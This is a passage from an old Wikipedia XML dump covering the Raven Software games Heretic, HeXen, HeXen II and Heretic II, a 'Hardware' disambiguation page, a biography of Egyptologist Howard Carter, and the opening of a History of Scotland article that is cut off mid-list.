*Powered: Shoots out bigger metallic spheres, which are slower, but home on their targets and cause heavy damage.
*Ammo: mace spheres (small), pile of mace spheres (large)

It should be noted that despite the difference in setting and design, Heretic is very similar to Doom, especially in regards to its weapons, which are for the most part, equivalents of weapons found in Doom. For instance, the Dragon Claw and Hellstaff are similar to the Chaingun and Plasma rifle respectively. Other weapons are similar to an extent, like Ethereal Crossbow and Shotgun, staff and fists, Gauntlets of the necromancer and Chainsaw, Elven wand and Pistol, Phoenix rod and Rocket launcher. Yet others, such as the Firemace and BFG 9000 bear no resemblance to each other.

== Game levels ==
'''Episode 1: The City of the Damned'''
*1. The Docks
*2. The Dungeons
*3. The Gatehouse
*4. The Guard Tower
*5. The Citadel
*6. The Cathedral (secret exit to lvl 9)
*7. The Crypts
*8. Hell's Maw
*9. (secret) The Graveyard

'''Episode 2: Hell's Maw'''
*1. The Crater
*2. The Lava Pits
*3. The River of Flame
*4. The Ice Grotto (secret exit to lvl 9)
*5. The Catacombs
*6. The Labyrinth
*7. The Great Hall
*8. The Gates of Chaos
*9. (secret) The Glacier

'''Episode 3: The Dome of D'Sparil'''
*1. The Storehouse
*2. The Cesspool
*3. The Confluence
*4. The Azure Fortress (secret exit to lvl 9)
*5. Ophidian Lair
*6. The Halls of Fear
*7. The Chasm
*8. The Lair of D'Sparil
*9. (secret) The Acquifer

'''Episode 4: The Ossuary'''
*1. Catafalque
*2. The Blockhouse
*3. Ambulatory
*4. Sepulcher (secret exit to lvl 9)
*5. Great Stair
*6. Halls of the Apostate
*7. Ramparts of Perdition
*8. Shattered Bridge
*9. (secret) Mausoleum

'''Episode 5: The Stagnant Demesne'''
*1. Ochre Cliffs
*2. Rapids
*3. Quay (secret exit to lvl 9)
*4. Courtyard
*5. Hydratyr
*6. Colonnade
*7. Foetid Masne
*8. Arena of Judgement
*9. (secret) Skein of D'Sparil

== See also ==
{{DOOMgames}}

== External links ==
*[http://www.ravensoft.com/heretic.html Official Heretic website from Raven]
*[http://www.idsoftware.com/games/hexen/heretic/ Official Heretic website from id Software]
*[http://www.gamers.org/dhs/helpdocs/hticfaq.html The Heretic FAQ]
*[http://dmoz.org/Games/Video_Games/Shooter/H/Heretic_and_Hexen_Series/Heretic/ Category at ODP]
*[http://www.doomsdayhq.com/ jHeretic source port]
*[http://www.mobygames.com/game/heretic-shadow-of-the-serpent-riders Heretic at MobyGames]

[[Category:Doom]]
[[Category:Id Software games]]
[[Category:First-person shooters]]
[[Category:1994 computer and video games]]
[[Category:Linux games]]
[[Category:DOS games]]
[[Category:Apple Macintosh games]]

[[cs:Heretic]]
[[de:Heretic]]
[[fr:heretic]]
[[it:Heretic]]</text>
    </revision>
  </page>
  <page>
    <title>HeXen</title>
    <id>13612</id>
    <revision>
      <id>42041210</id>
      <timestamp>2006-03-03T11:35:04Z</timestamp>
      <contributor>
        <ip>69.139.77.86</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox CVG| title = HeXen: Beyond Heretic
| image = [[Image:hexenbox.jpg|250px]]
| developer = [[Raven Software]]
| publisher = [[id Software]], [[GT Interactive]]
| designer =
| engine = [[Doom engine|Doom]]
| released = [[October 30]], [[1995]]
| genre = [[First-person shooter]]
| modes = [[Single player]], [[multiplayer]]
| ratings = [[RSAC]]: 3 for violence&lt;br&gt;[[Entertainment Software Rating Board|ESRB]]: Mature [[Image:ESRB_M.png|12px]]
| platforms = [[MS-DOS]], [[PlayStation]], [[Nintendo 64]], [[Apple Macintosh]], [[Sega Saturn]]
| media = 
| requirements =
| input =
}}
'''''HeXen: Beyond Heretic''''' (or '''''Hexen''''') is a [[first-person shooter]] [[computer game]] developed by [[Raven Software]], published by [[id Software]], and distributed by [[GT Interactive]] beginning on [[October 30]], [[1995]]. It is the sequel to ''[[Heretic (computer game)|Heretic]]''.

''Hexen'' uses a modified version of the [[Doom]] engine, which allows (like in ''Heretic'') up and down views, network play with up to 8 players and the choice of three character classes. It also popularised the &quot;[[hub system]]&quot; of level progression in the genre of first-person shooter games and featured some architectural elements that could move horizontally or rotate. Unlike previous games, which had relied purely on [[MIDI]] for music, ''Hexen'' could also play tracks from [[audio CD]]. ''Hexen'' extended the Doom engine in many innovative ways: larger levels, some doors that opened three-dimensionally, pulsating lights, triggered sounds, and so forth. Many fans consider ''Hexen'' to be a vast improvement over both ''Heretic'' and ''Doom''.

The main goal of the game is the destruction of ''Korax'', the second of a trio of demon brothers known as the ''Serpent Riders'', who has taken over the world of Chronos. The first Serpent Rider, [[D'Sparil]], was the final boss of [[Heretic (computer game)|Heretic]] and the third, Eidolon, would later appear in [[HeXen II]]. The three playable characters are a [[Warrior]], a [[Cleric]] and a [[Mage]]. Each character has four weapons, the first having unlimited ammunition, the others are powered by [[mana]], the fourth is built by finding three different parts. There are two different types of mana; blue and green. Weapon 2 uses blue and weapon three uses green whereas weapon 4 uses both types. The Warrior has weapons that are best used at striking range - Spiked gauntlet, axe, hammer, sword. This combined with his high strength stamina and life make him easy to power through the beginning of the game but a failure far beyond the seven portals. The warrior's ultimate weapon is the Quietus, a sword that can send out a spread of magic. The Mage has long distance projectile magic which, though weak, can keep him away from attackers and allow him to snipe enemies. Until later in the game when flying capabilities and other spells have been collected, the mage is comparitavely weak. The mage's ultimate weapon is the Bloodscourge, a staff that can send out homing fireballs. The Cleric is well rounded and has a diverse selection of weapons and decent armouring and speed. The cleric's ultimate weapon is the Wraithverge, a cross-shaped staff that can tear apart enemies with a ghostly horde.

== Hubs and Levels ==
===Prologue===
{| border=&quot;1&quot; cellpadding=&quot;3&quot; width=&quot;270px&quot;
|- bgcolor=&quot;#E9DFD7&quot; 
!Name
! width=&quot;70px&quot; | CD Track
|-
|Winnowing Hall
|13
|}
===Hub 1: Seven Portals===
{| border=&quot;1&quot; cellpadding=&quot;3&quot; width=&quot;270px&quot;
|- bgcolor=&quot;#E9DFD7&quot;
!Name
! width=&quot;70px&quot; | CD Track
|-
|Seven Portals
|2
|-
|Guardian of Ice
|22
|-
|Guardian of Fire
|15
|-
|Guardian of Steel
|9
|-
|Bright Crucible*
|21
|}
===Hub 2: Shadow Wood===
{| border=&quot;1&quot; cellpadding=&quot;3&quot; width=&quot;270px&quot;
|- bgcolor=&quot;#E9DFD7&quot;
!Name
! width=&quot;70px&quot; | CD Track
|-
|Shadow Wood
|8
|-
|Darkmere
|14
|-
|Caves of Circe
|20
|-
|Wastelands
|6
|-
|Sacred Grove*
|5
|-
|Hypostyle
|16
|}
===Hub 3: Heresiarch's Seminary===
{| border=&quot;1&quot; cellpadding=&quot;3&quot; width=&quot;270px&quot;
|- bgcolor=&quot;#E9DFD7&quot;
!Name
! width=&quot;70px&quot; | CD Track
|-
|Heresiarch's Seminary**
|19
|-
|Silent Refectory
|21
|-
|Orchard of Lamentations
|22
|-
|Wolf Chapel
|14
|-
|Griffin Chapel
|10
|-
|Dragon Chapel
|17
|-
|Deathwind Chapel*
|18
|}
===Hub 4: Castle of Grief===
{| border=&quot;1&quot; cellpadding=&quot;3&quot; width=&quot;270px&quot;
|- bgcolor=&quot;#E9DFD7&quot;
!Name
! width=&quot;70px&quot; | CD Track
|-
|Castle of Grief
|12
|-
|Gibbet
|15
|-
|Effluvium
|8
|-
|Dungeons
|19
|-
|Forsaken Outpost
|20
|-
|Desolate Garden*
|3
|}
===Hub 5: Necropolis===
{| border=&quot;1&quot; cellpadding=&quot;3&quot; width=&quot;270px&quot;
|- bgcolor=&quot;#E9DFD7&quot;
!Name
! width=&quot;70px&quot; | CD Track
|-
|Necropolis
|16
|-
|Zedek's Tomb
|10
|-
|Menelkir's Tomb
|11
|-
|Traductus' Tomb
|9
|-
|Vivarium*
|17
|}
===Epilogue===
{| border=&quot;1&quot; cellpadding=&quot;3&quot; width=&quot;270px&quot;
|- bgcolor=&quot;#E9DFD7&quot;
!Name
! width=&quot;70px&quot; | CD Track
|-
|Dark Crucible
|2
|-
|Finale
|5
|}
&lt;nowiki&gt;*&lt;/nowiki&gt; These are &quot;Secret&quot; bonus levels which require extra searching to find, and are not crucial to the gameplay.&lt;br&gt;
&lt;nowiki&gt;**&lt;/nowiki&gt; This level is also referred to as the &quot;Monastery&quot; by in-game messages.

==Notes==
*[[Deathkings of the Dark Citadel]] is an official [[expansion pack]] that was released for ''Hexen'', featuring 3 more hubs for a total of 20 new single player levels.
*The [[source code]] of ''Hexen'' was released by Raven Software in [[1999]], which allowed the game to be ported to different platforms such as [[Linux]].
*&quot;Hexen&quot; is the [[German language|German]] word for &quot;witches&quot;.
*Version 1.0 of ''Hexen'' contains an incomplete level called &quot;Maze&quot; that consists solely of moving walls with no exit. Its presence in the released game is almost certainly an oversight; the level was removed in the 1.1 update. The &quot;Maze&quot; level can only be accessed by using the [[cheat code]] &quot;warp 41&quot; in unpatched versions of the game.
*The game was used for the finale of an official [[Doom]] championship in late 1995.

== See also ==
*''[[HeXen II]]''

== External links ==
* [http://www.ravensoft.com/hexen.html Official ''Hexen'' website from Raven]
* [http://www.idsoftware.com/games/hexen/hexen/ Official ''Hexen'' website from id Software]
* [http://www.ravensoft.com/deathkings.html Official website for the ''Deathkings'' expansion]
* [http://www.cco.net/%7Earne/hexen.faq The ''HeXen'' FAQ]
* [http://www.doomsdayhq.com/ jHexen source port]
* [http://www.mobygames.com/game/hexen-beyond-heretic Hexen at MobyGames]

[[Category: Doom]]
[[Category:First-person shooters]]
[[Category:Linux games]]
[[Category:Nintendo 64 games]]
[[Category: Sega Saturn games]]
[[Category: PlayStation games]]
[[Category: Apple Macintosh games]]
[[Category:1995 computer and video games]]
[[Category:Id Software games]]
[[Category:DOS games converted into Windows games]]


[[de:Hexen (Spiel)]]
[[es:Hexen]]
[[fr:Hexen]]
[[it:Hexen]]</text>
    </revision>
  </page>
  <page>
    <title>HeXen II</title>
    <id>13613</id>
    <revision>
      <id>42043279</id>
      <timestamp>2006-03-03T12:02:54Z</timestamp>
      <contributor>
        <ip>69.139.77.86</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox CVG| title = HeXen II
| image = [[Image:hexenIIbox.jpg|200px|Box art for HeXen II]]
| developer = [[Raven Software]]
| publisher = [[Activision]], [[id Software]]
| designer =
| engine = [[Quake engine]]
| released = [[August 31]], [[1997]]
| genre = [[First-person shooter]]
| modes = [[Single player]], [[multiplayer]]
| ratings = [[ESRB]]: Teen (T)
| platforms = [[Microsoft Windows]], [[Apple Macintosh]]
| media = 
| requirements =
| input =
}}
'''''HeXen II''''' is a [[first person shooter]] [[computer game]] developed by [[Raven Software]] from [[1996]] to [[1997]], published by [[id Software]] and distributed by [[Activision]]. It is the third game in the [[HeXen]]/[[Heretic (video game)|Heretic]] series, and the last in the Serpent Riders trilogy. Using a modified [[Quake]] engine, it features single player and multi player game modes, as well as four character classes to choose from, each with different abilities. These include the offensive Paladin, the defensive Crusader, the spellcasting Necromancer, and the stealthy Assassin.

As in the first two games, a world has been enslaved by a powerful [[demon]] called a Serpent Rider. This time, the demon in question is Eidolon, the oldest and most powerful of the three Serpent Riders. The player must travel to four different [[continent]]s, each with a distinct style ([[Medieval]] [[Europe]]an, [[Mesoamerica]]n, [[Ancient Egypt|Ancient Egyptian]], and [[Greco-Roman]]), destroy enemies, solve puzzles, defeat a [[Four horsemen of the Apocalypse|horseman of the Apocalypse]] and continue to the next hub in pursuit of Eidolon, the final enemy.

Improvements from ''HeXen'' and ''Quake'' include destructible environments, mounted weapons, and unique level up abilities. Like its predecessor, ''HeXen II'' also uses a hub system. These hubs are a number of interconnected levels; changes made in one level may have effects in another.

An [[expansion pack]] called ''[[HeXen II: Portal of Praevus]]'' was released in [[1998]] featuring new levels, new enemies and a new playable character class, the Demoness. It focuses on the attempted resurrection of Eidolon by the wizard Praevus, and takes place in a fifth continent featuring a Sino-Tibetan setting.

Following the tradition from ''HeXen'' and ''Heretic'', Raven released the [[source code]] to ''HeXen II'' in [[2000]]. This time the source was released under the [[GNU General Public License]], allowing ports to be made to different platforms like [[Linux]].

== External links ==
*[http://www.ravensoft.com/hexen2.html Official website from Raven]
*[http://www.idsoftware.com/games/hexen/hexen2/ Official website from id Software]
*[http://www.ravensoft.com/portal.html Official website for the ''Portal of Praevus'' expansion]
*[http://www.raven-games.com/hex2faq/ Official Hexen II FAQ]
*[http://uhexen2.sourceforge.net/ Hammer of Thyrion source port]
*[http://newhexen.raven-games.com/ NewHexen source port]
*[http://www.hexenworld.net/ HeXenWorld]
*[http://www.mobygames.com/game/hexen-ii HeXen II at MobyGames]

[[Category:1997 computer and video games]]
[[Category:Windows games]]
[[Category:Apple Macintosh games]]
[[Category:Linux games]]
[[Category:First-person shooters]]
[[Category:Id Software games]]
[[Category:Raven Software games]]
[[Category:Activision games]]

[[fr:Hexen II]]
[[it:Hexen II]]</text>
    </revision>
  </page>
  <page>
    <title>Heretic II</title>
    <id>13614</id>
    <revision>
      <id>39872818</id>
      <timestamp>2006-02-16T13:20:36Z</timestamp>
      <contributor>
        <ip>82.48.35.253</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox CVG| title = Heretic II
| image = 
| developer = [[Raven Software]]
| publisher = [[Activision]]
| designer =
| engine = [[Quake II engine|Quake II]]
| released = [[November 24]], [[1998]]
| genre = [[Third-person shooter]]
| modes = [[Single player]], [[multiplayer]]
| ratings = [[ESRB]]: Mature (M)
| platforms = [[Personal computer|PC]], [[Apple Macintosh|Mac]], [[Linux]]
| media = 
| requirements =
| input =
}}
'''Heretic II''' is a [[fantasy]] [[third-person shooter]] game developed by [[Raven Software]] and published by [[Activision]] in [[1998]], continuing the story of Corvus, the main character from its predecessor, [[Heretic (computer game)|Heretic]].

Using a modified [[Quake II]] engine, the game features a mix of the third-person camera angle with the [[first-person shooter]]s action, making up for a new gaming experience at the time. Its predecessor was also famous within the genre, despite the differences in both gameplay and story. Heretic II was later ported to [[Linux]] by [[Loki Software]].

==External links==
*[http://www.ravensoft.com/heretic2.html Heretic II Official Website]
*[http://www.raven-games.com/h2faq.php Official Heretic II FAQ]
*[http://www.hereticii.com/ hereticii.com]

{{shooter-cvg-stub}}

[[Category:1998 computer and video games]]
[[Category:Raven Software games]]
[[Category:Third-person shooters]]
[[Category:Activision games]]
[[Category:Linux games]]
[[Category:Windows games]]

[[it:Heretic II]]</text>
    </revision>
  </page>
  <page>
    <title>Hardware</title>
    <id>13615</id>
    <revision>
      <id>38586991</id>
      <timestamp>2006-02-07T07:38:21Z</timestamp>
      <contributor>
        <username>Jake Lancaster</username>
        <id>683484</id>
      </contributor>
      <minor />
      <comment>/* See also */  Fixed link</comment>
      <text xml:space="preserve">{{dablink|For the computer term, see [[Computer hardware]]}}
'''Hardware''' is the general term that is used to describe physical [[artifacts]] of a [[technology]].

It can be equipment such as [[fastener]]s, [[Key (lock)|keys]], [[Lock (device)|locks]], [[hinge]]s, [[latch]]es, [[corner]]s, [[handles]], [[wire]], [[chain]]s, [[plumbing]] supplies, [[tool]]s, [[utensil]]s, [[cutlery]] and [[machine]] parts, especially when they are made of [[metal]].  In the [[United States]], hardware has been traditionally sold in &quot;[[hardware store]]s&quot;.  

Though often used interchangeably to mean &quot;hand tools,&quot; hardware historically referred to the metal bits that were used to make wooden products stronger, more functional, longer lasting and easier to fabricate/assemble than if they did not have the benefit of metal fittings.  

In a looser sense, hardware can be major [[military]] equipment, or [[electronics|electronic]] equipment, or [[Computer hardware|computer]] equipment.

==See also==
*'''''[[Hardware (TV series)|Hardware]]''''' is also a [[United Kingdom|British]] television [[sitcom]], starring [[Martin Freeman]].
*'''''[[Hardware (comics)|Hardware]]''''' is also the name and title character of a [[comic book]] series published by [[Milestone Media]].
*'''''[[Hardware (1990 movie)|Hardware]]''''' is also a [[1990]] [[science fiction]] film, starring [[Dylan McDermott]] and [[Stacey Travis]].
*'''''[[Hardware (band)|Hardware]]''''' was also an independent British [[New Wave music]] band
*'''''[[Hardware River]]''''' is a [[river]] in [[Virginia]]


[[Category:Hardware (mechanical)]]
[[bg:&amp;#1061;&amp;#1072;&amp;#1088;&amp;#1076;&amp;#1091;&amp;#1077;&amp;#1088;]]
&lt;!--[[de:Metallwaren]]--&gt;
[[fa:&amp;#1587;&amp;#1582;&amp;#1578;&amp;#8204;&amp;#1575;&amp;#1601;&amp;#1586;&amp;#1575;&amp;#1585;]]
[[mk:Хардвер]]
[[pl:Sprzęt]]
[[sl:Strojna oprema]]</text>
    </revision>
  </page>
  <page>
    <title>Howard Carter</title>
    <id>13616</id>
    <revision>
      <id>42037446</id>
      <timestamp>2006-03-03T10:42:35Z</timestamp>
      <contributor>
        <username>Shanes</username>
        <id>94147</id>
      </contributor>
      <minor />
      <comment>rm High Traffic template</comment>
      <text xml:space="preserve">[[Image:Howardcartertut.jpg|thumb|280px|Howard Carter in 1925.]]
[[Image:Plate_LXXA.jpg|thumb|260px|Plate LXXA shows detail on a ceremonial walking staff found buried with [[Tutankhamun]]; it depicts &quot;the two foes,&quot; or &quot;the Northern and Southern enemies of Egypt.&quot;  Carter continued, &quot;The Asiatic type (A)&quot; -- shown here -- &quot;is ivory,&quot; and &quot;the African type (B)&quot; -- shown with this one, below -- &quot;is ebony.&quot;  Photo: Harry Burton.]]

'''Howard Carter''' ([[May 9]], [[1874]] &amp;ndash; [[March 2]], [[1939]]) was an [[England|English]] [[archeology|archaeologist]] and [[Egyptology|Egyptologist]]. He is most famous as the discoverer of [[KV62]], the tomb of [[Tutankhamun]] in the [[Valley of the Kings]], [[Luxor]], [[Egypt]].

Howard Carter was born in 1874 in [[Brompton, Kensington]], [[London]], the youngest son of 8 children. His father, [[Samuel Carter]], was an artist. His mother was Martha Joyce (Sands) Carter. Carter grew up in [[Swaffham]], in northern [[Norfolk]], and had no formal education. His father trained him in the fundamentals of drawing and [[painting]]. 

Carter began work in [[1891]], at the age of 17, copying inscriptions and paintings in [[Egypt]]. He worked on the excavation of [[Beni Hasan]], the gravesite of the princes of [[Middle Egypt]], c. [[2000 BC]]. Later he came under the tutelage of [[William Flinders Petrie]].

He is also famous for finding the remains of Queen [[Hatshepsut]]'s tomb in [[Deir el-Bahri]]. In [[1899]], at the age of 25, Carter was offered a position working for the [[Egyptian Antiquities Service]], from which he resigned as a result of a dispute between Egyptian site guards and a group of drunken French tourists in [[1905]].  

After several hard years, Carter was introduced, in [[1907]], to [[George Herbert, 5th Earl of Carnarvon|Lord Carnarvon]], an eager amateur who was prepared to supply the funds necessary for Carter's work to continue. Soon, Carter was supervising all of Lord Carnarvon's [[excavation]]s.

Lord Carnarvon financed Carter's search for the tomb of a previously unknown [[Pharaoh]], [[Tutankhamun]], whose existence Carter had discovered. After a few months of fruitless searching, Carnarvon was becoming dissatisfied with the lack of  return from his investment and, in 1922, he gave Carter one more season of  funding to find the tomb. 

On [[November 4]], [[1922]] Carter found the steps leading to Tutankhamen's tomb (subsequently [[KV (Egypt)|designated]] [[KV62]]), by far the best preserved and most intact pharaonic tomb ever found in the [[Valley of the Kings]]. He wired Lord Carnarvon to come, and on [[November 26]], [[1922]], with Lord Carnarvon, Carnarvon's daughter, and others in attendance, Carter made the famous &quot;tiny breach in the top left hand corner&quot; of the doorway, and was able to peer in by the light of a candle and see that many of the gold and ebony treasures were still in place. He did not yet know at that point whether it was &quot;a tomb or merely a cache,&quot; but he did see a promising sealed doorway between two sentinel statues. 

The next several weeks were spent carefully cataloguing the contents of the antechamber. On [[February 16]], [[1923]], Carter opened the sealed doorway, and found that it did indeed lead to a burial chamber, and he got his first glimpse of the [[sarcophagus]] of Tutankhamun. 

While unwrapping the linens of the mummy, presumably looking for treasure, the skull of the ancient king fell away from the body. The impact from its fall out of the tomb made a dent in the skull. Ancient Egyptians believed a king could only be immortal if the body rested undisturbed, so some believe the name of the king must still be spoken today as a remembrance.

After cataloguing the extensive finds, Carter retired from archaeology and became a collector. He visited the [[United States]] in [[1924]], and gave a series of illustrated lectures in [[City of New York|New York City]] which were attended by very large and enthusiastic audiences. He died in [[England]] in [[1939]] at the age of 64. The archaeologist's death at this advanced age despite being the driving force behind the opening of Tutankhamun's tomb is the most common piece of evidence put forward by skeptics to refute the idea of a curse (the &quot;[[Curse of the Pharaohs]]&quot;) plaguing the party that violated Tutankhamun's tomb.

Howard Carter is buried in [[Putney Vale]] Cemetery in West London. 

His brother [[William Carter]], (1863-1939) was an artist.

[[Image:Luxor, West Bank, home of Howard Carter, Egypt, Oct 2004.jpg|right|thumb|225px|Carter's house in the Theban Necropolis]]
==Howard Carter in popular culture==
Howard Carter has been represented in a number of films, television programmes, etc.
*Egypt - a 2005 [[BBC]] One Television series which featured the discovery of Tutankhamun's tomb by Carter in the first two 60 minute episodes [http://www.imdb.com/title/tt0483603/]. 

Also, worth noting is:
*In Search of the Pharoahs -  a 30-minute [[cantata]] for narrator, junior choir and piano by composer [[Robert Steadman]], commissioned by the [[City of London Freemen's School]] which uses extracts from Carter's diaries as its text.

*A paraphrased extract from Howard Carter's diary of [[November 26]] [[1922]] is used as the [[plaintext]] for Part 3 of the encrypted [[Kryptos]] sculpture at [[CIA]] Headquarters in [[Langley]], [[Virginia]].

Carter was the loose inspiration for the alter ego of the comic book superhero [[Hawkman]]&amp;mdash;&quot;Carter Hall,&quot; an archaeologist digging in Egypt, introduced in ''Flash Comics'' #1 (1940).
 
==Further reading==
*T.G.H James, ''Howard Carter &amp;ndash; The Path to Tutankhamun'', London: Tauris Parke, 2001.
*Reeves, N. and Taylor, J.H., ''Howard Carter: Before Tutankhamun'', London: British Museum Press, 1992.
*The History Of Howard Carter By  Dr. Thomas Schwarz

==External links==
*[http://www.ashmol.ox.ac.uk/gri/4search.html The Search for Tutankhamun] &amp;ndash; from the [[Griffith Institute]] website, Howard Carter's records of the five seasons of excavations, financed by Lord Carnarvon, in the Valley of the Kings 1915&amp;ndash;1922.
*[http://www.ashmol.ox.ac.uk/gri/4tut.html Tutankhamun &amp;ndash; The Anatomy of an Excavation]
*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=3665&amp;pt=%3Cb%3EHoward%3C/b%3E%20Carter Grave of Howard Carter]
*[http://www.ashmol.ox.ac.uk/gri/4sea1not.html Transcripts of Howard Carter's excavation diaries]

{{Ancient Egypt}}

[[Category:1874 births|Carter, Howard]]
[[Category:1939 deaths|Carter, Howard]]
[[Category:English archaeologists|Carter, Howard]]
[[Category:English Egyptologists|Carter, Howard]]

[[bg:Хауърд Картър]]
[[ca:Howard Carter]]
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[[es:Howard Carter]]
[[eo:Howard CARTER]]
[[fr:Howard Carter]]
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[[ja:ハワード・カーター]]
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[[uk:Говард Картер]]</text>
    </revision>
  </page>
  <page>
    <title>History of Scotland</title>
    <id>13617</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41750446</id>
      <timestamp>2006-03-01T13:55:53Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Myth]] to [[Mythology]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{featured article}}
[[Image:Stirlingcastle.jpg|thumb|right|300px|[[Stirling Castle]] has stood for centuries atop a volcanic crag defending the lowest ford of the [[River Forth]].  The fortification underwent numerous [[siege]]s.]]
{{History of Scotland}}

The '''history of Scotland''' begins around 10,000 years before the present day, when [[human|modern humans]] first began to inhabit [[Scotland]] after the end of the [[Devensian glaciation]], the last [[ice age]]. Of the [[Stone Age]], [[Bronze Age]], and [[Iron Age]] [[civilization|civilisations]] that existed in the country, many artefacts remain but few are of writing. 

The written history of Scotland largely begins with the arrival of the [[Roman Empire]] in Britain, when the Romans occupied what is now [[England]] and [[Wales]], administering it as a [[Roman province]] called [[Roman Britain|Britannia]]. To the north was territory not governed by the Romans&amp;mdash;'''[[Caledonia]]'''. Its people were the [[Picts]]. From a ''[[classical]]'' historical viewpoint Scotland seemed a peripheral country, slow to gain advances filtering out from the [[Mediterranean]] fount of civilisation, but as knowledge of the past increases it has become apparent that some developments were earlier and more advanced than previously thought, and that the seaways were very important to Scottish history.   

The country's lengthy struggle with England, its more powerful neighbour to the south, was the cause of the [[Wars of Scottish Independence]], forcing Scotland to rely on trade, cultural and often strategic ties with a number of European powers.  Following the [[Act of Union 1707|Act of Union]] and the subsequent [[Scottish Enlightenment]] and [[Industrial Revolution]], Scotland became one of the commercial, intellectual and industrial powerhouses of Europe.  Its industrial decline following the [[World War II|Second World War]] was particularly acute, but in recent decades the country has enjoyed something of a cultural and economic renaissance, fuelled in part by a resurgent [[financial services]] sector, the proceeds of [[North Sea oil]] and gas, and latterly a [[Scottish Parliament|devolved parliament]].

==Prehistoric settlement==
[[Image:Knapp of Howar 2.jpg|thumb|200px|right|The oldest standing house in Northern Europe is at [[Knap of Howar]], dating from [[3500 BC]] (see also [[:Image:Knapp of Howar.jpg|image]]).]]
''For more detail on this period see [[Prehistoric Scotland]].''

People lived in Scotland for at least 8500 years before recorded history dealt with Britain. 
At times during the last [[Ice age|interglacial period]] (130,000 &amp;ndash; 70,000 BC) Europe had a climate warmer than today's, and early humans may have made their way to Scotland, though archaeologists have found no traces of this. Glaciers then scoured their way across most of Britain, and only after the ice retreated did Scotland again become habitable, around [[10th millennium BC|9600 BC]].

[[Mesolithic]] hunter-gatherer encampments formed the first known settlements, and archaeologists have dated an example at [[Cramond]] near [[Edinburgh]] to around [[9th millennium BC|8500 BC]]. Numerous other sites found around Scotland build up a picture of highly mobile boat-using people making tools from bone, stone and antlers. 

[[Image:Jfb skara brae.jpg|thumb|280px|right|In [[3000 BC]], some [[Neolithic]] [[farming|farmers]] lived in stone houses (such as those at [[Skara Brae]]) set into existing [[midden]]s.]]
[[Neolithic]] farming brought permanent settlements, and the wonderfully well-preserved stone house at [[Knap of Howar]] on [[Papa Westray]] dating from [[3500 BC]] predates by about 500 years the village of similar houses at [[Skara Brae]] on the ''Mainland'' of the [[Orkney Islands]]. The settlers introduced [[chambered cairn]] tombs from around [[3500 BC]] ([[Maeshowe]] offers a prime example), and from about [[3000 BC]] the many standing stones and circles such as the [[Ring of Brodgar]] on Orkney and [[Callanish]] on [[Lewis]]. These form part of the Europe-wide [[Megalithic]] culture which also produced [[Stonehenge]] in [[Wiltshire]], and which pre-historians now interpret as showing sophisticated use of astronomical observations.

The cairns and Megalithic monuments continued into the [[Bronze age]], and [[hill fort]]s started to appear, such as [[Eildon hill]] near Melrose in the [[Scottish Borders]], which goes back to around [[1000 BC]] and which accommodated several hundred houses on a fortified hilltop.
 
[[Brythonic]] [[Celt]]ic culture and language spread into Scotland at some time after the [[8th century BC]], possibly through cultural contact rather than through mass invasion, and systems of kingdoms developed. 

From around [[700 BC]] the [[Iron age]] brought numerous [[hill fort]]s, [[broch]]s and fortified settlements which support the image of quarrelsome tribes and petty kingdoms later recorded by the Romans, though evidence that at times occupants neglected the defences might suggest that symbolic [[power (sociology)| power]] had as much significance as warfare.

==Roman invasion==
[[Image:Hadrian's Wall view near Greenhead.jpg|thumb|right|320px|120 km [[Hadrian's Wall]] marked the border between Scotland to the north and the [[Roman Empire]] to the south with small forts and gates every [[mile|Roman mile]]. Roman sway reached even farther north for a short time.]]

The written history of Scotland largely begins with the coming of the [[Roman empire]] to Britain.  Although the pre-Roman inhabitants occasionally used writing for commemorative purpose, these societies favoured a strong [[oral history]].  With the loss of the [[druidry|druidic]] tradition (due to war, famine, and particularly the proscriptions of later [[Christianity|Christian]] [[missionary|missionaries]]), the people forgot much of this lore.  The only surviving pre-Roman account of Scotland originated with the [[Ethnic Greek|Greek]] [[Pytheas|Pytheas of Massalia]] who circumnavigated the [[Britain|British]] islands (which he called ''Pretaniké'') in [[325 BC]], but the record of his visit dates from much later.

The [[Roman invasion of Britain]] began in earnest in [[43|AD 43]].  Following a series of [[military]] successes in the south, forces led by [[Gnaeus Julius Agricola]] entered Scotland in [[79]].  The Romans met with fierce resistance from the local population of [[Caledonia|Caledonians]]. In [[82]] or [[83]] Agricola sent a fleet of galleys up round the coast of Scotland, as far as the [[Orkney Islands]]. In [[84]] Agricola defeated the Caledonian tribes at the [[Battle of Mons Graupius]]. His supporters in Rome proclaimed that he had defeated all the tribes of Britain. 

The only historical source for this comes from the writings of Agricola's son-in-law, [[Tacitus]]. Archaeology backed up with accurate dating from [[dendrochronology]] suggests that the occupation of southern Scotland started before the arrival of Agricola. Whatever the exact dating, for the next 300 years Rome had a significant presence along its northern border, militarily, economically and socially.

The Romans marked their [[border]]s with a series of defensive fortifications, including large continuous wall barriers. The earliest of these, the [[Gask Ridge]] in Perthshire, dates from the [[70]]s or [[80]]s AD. In the [[120]]s the Roman emperor [[Hadrian]] ordered the building of a fortified wall on a line running from the [[River Tyne]] to the [[Solway Firth]]. Twenty years later the Roman governor Lollius Urbicus built the [[Antonine Wall]] (so-named after [[Antoninus Pius]], the Roman emperor who ruled from 138 to 161) further north, across the Forth-Clyde isthmus. At half the length of [[Hadrian's Wall]], this considerably shorter border appeared easier to defend, but nevertheless it represented the northern reach of the Roman Empire for only the next two decades. By approximately [[160]] an open but manned border once again ran along Hadrian's Wall. 

Although the Romans had not found direct rule of [[Caledonia]] viable, perhaps because the wild nature of the country and the sparse population made the collection of taxes infeasible, they maintained control through military outposts and the assistance of tribes such as the [[Votadini]] who appear to have acted as ''[[buffer state]]s''.

==Post-Roman Scotland==
In the wake of the Roman withdrawal Scotland's population comprised two main groups: 
# the [[Picts]], a people of uncertain origin (but possibly a [[Brythonic]] [[Celt]]ic group) who occupied most of Scotland north of the [[Firth of Clyde]] and the [[Firth of Forth]]: the area known as &quot;Pictavia&quot;
